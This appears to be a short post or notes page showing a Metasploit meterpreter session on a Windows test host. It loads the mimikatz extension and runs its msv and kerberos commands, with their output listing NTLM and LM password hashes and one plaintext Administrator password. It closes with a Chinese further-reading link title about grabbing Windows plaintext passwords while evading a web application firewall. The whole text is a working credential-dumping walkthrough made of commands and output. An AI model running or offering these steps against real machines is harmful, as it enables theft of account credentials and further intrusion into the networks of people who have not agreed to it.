meterpreter > load mimikatz

meterpreter > load mimikatz

Loading extension mimikatz...Success.

meterpreter > msv

[+] Running as SYSTEM

[*] Retrieving msv credentials

msv credentials

===============

AuthID Package Domain User Password

---

0;57856 NTLM test Administrator lm{ 33764799dfeea70eaad3b435b51404ee }, ntlm{ 3c4c7bb84a7f69f54fce59bc10c09ccb }

0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }

0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)

0;45638 NTLM n.s. (Credentials KO)

0;999 NTLM WORKGROUP test$ n.s. (Credentials KO)

meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials

kerberos credentials

====================

AuthID Package Domain User Password

---

0;997 Negotiate NT AUTHORITY LOCAL SERVICE

0;996 Negotiate NT AUTHORITY NETWORK SERVICE

0;45638 NTLM

0;999 NTLM WORKGROUP test$

0;57856 NTLM test Administrator test

更多阅读：

mimikaz在waf下抓取windows明文密码